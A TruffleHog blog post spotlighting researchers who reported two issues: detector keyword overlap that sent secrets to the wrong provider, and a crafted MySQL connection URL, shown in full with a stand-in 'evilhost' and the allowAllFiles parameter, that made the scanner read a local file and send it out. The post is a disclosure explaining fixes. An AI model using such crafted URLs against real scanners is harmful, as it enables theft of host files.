TRUFFLEHOG

COMPANY

RESOURCES

Dylan Ayrey

THE DIG

March 6, 2024

Contributor Spotlight: Helena Rosenzweig and Assetnote team

Contributor Spotlight: Helena Rosenzweig and Assetnote team

Dylan Ayrey

March 6, 2024

Contributor Spotlight: Helena Rosenzweig and Assetnote working to help make TruffleHog more secure

Recently a few members of the community helped improve the security posture of TruffleHog and we wanted to give them credit in a short post.

The first is Swedish hacker Helena Rosenzweig, who highlighted potential risks in detector keyword overlap, which was resolved in TruffleHog version v3.67.0. 


Helena Rosenzweig

To understand the risk she highlighted, consider the following:

Imagine two companies, CompanyA and CompanyB both chose to make API keys out of UUID’s. The length, and character sets exactly match. How does TruffleHog’s verification feature know which company to test the API key against? 

The answer is TruffleHog implements a control called keywords: a specific string (often containing the company’s name) must be located near where the API key was found. In the above example, we look for the keyword “CompanyA '' near the UUID, before feeling confident enough to test the UUID against CompanyA’s API to confirm if the key is active or not. You can learn more about TruffleHog’s keyword system here.

Out of TruffleHog’s 800 secret detectors, Helena identified that some had keyword overlap, which created certain circumstances where a key would be detected by two different detectors, and incidentally verified against the wrong API. You can read her blog here.

To fix this, we implemented a change to the secret verification process. If a secret matches more than one secret detector, by default TruffleHog will not verify the secret, so we can ensure the secret isn’t sent to the wrong provider. Users can override this behavior with the flag --allow-verification-overlap.

We had an opportunity to sit down with Helena and ask her a little bit about her process for doing security research:

What area of security do you specialize in?

“I’m pretty generalized. I currently work on a client project that is very much related to application security. I love coding, but am just as fascinated by all the way things can go wrong. There’s so much to learn, which is exciting”

How did you first learn about TruffleHog?

“The team was already using TruffleHog, amongst other tools. The team I work in basically scans all repositories within the organization to make sure secrets aren’t being committed. We have a lot of code, maintained by thousands of developers, so TruffleHog has been a very valuable tool within that work.”

What ideas do you have for future research (TruffleHog or beyond?)

“I have thought about looking into other secret scanners. At the moment, I’m just focusing on work, on my day job, but that would be interesting to look into.”

How was this experience working with us and is there anything we can do to improve moving forward?

“It’s been a pleasure working with you. It’s been a super smooth process and I appreciate the quick response times. The overall experience  has been great from my perspective.”

What do you do for fun outside of security?

“I like going to the gym, weight lifting, rock climbing and spending time with friends.”

Special thank you to Helena Rosenzweig, for helping us implement this new security control to help make TruffleHog more secure.

Additionally we also wanted to spotlight the Assetnote team Shubham Shah (Shubs), Jordan Macey, and Adam Kues, for highlighting certain crafted malicious mysql database connection URLs could lead TruffleHog to read arbitrary files off its host. This was fixed in TruffleHog version v3.68.5.


Assetnote team (Shubs on left, Adam top right, Jordan bottom right)

To understand this issue, consider the following URL:

jdbc:mysql://root:root@tcp(evilhost:3306)/%2fetc%2fhostname?allowAllFiles=true&t=1

Normally, TruffleHog would test the password “root” against the specified host with a ping command; however, by setting the DSN parameter `allowAllFiles` to true, a local file is first read as if it were a database file, and sent to the host specified before the ping command occurs. 

To exploit this, an attacker would have needed control over the data TruffleHog was scanning. 

To remediate this issue, we created an allowlist of query parameters TruffleHog parses when verifying mysql credentials, disabling the “allowAllFiles” query parameter.

We want to give a huge shout out to Shubs, Adam and Jordan for identifying this issue and helping us to get it patched. This fix improved the security for all TruffleHog users.

Note: By default TruffleHog will automatically update itself, so unless you’ve disabled updates you’re likely already running the latest scanner.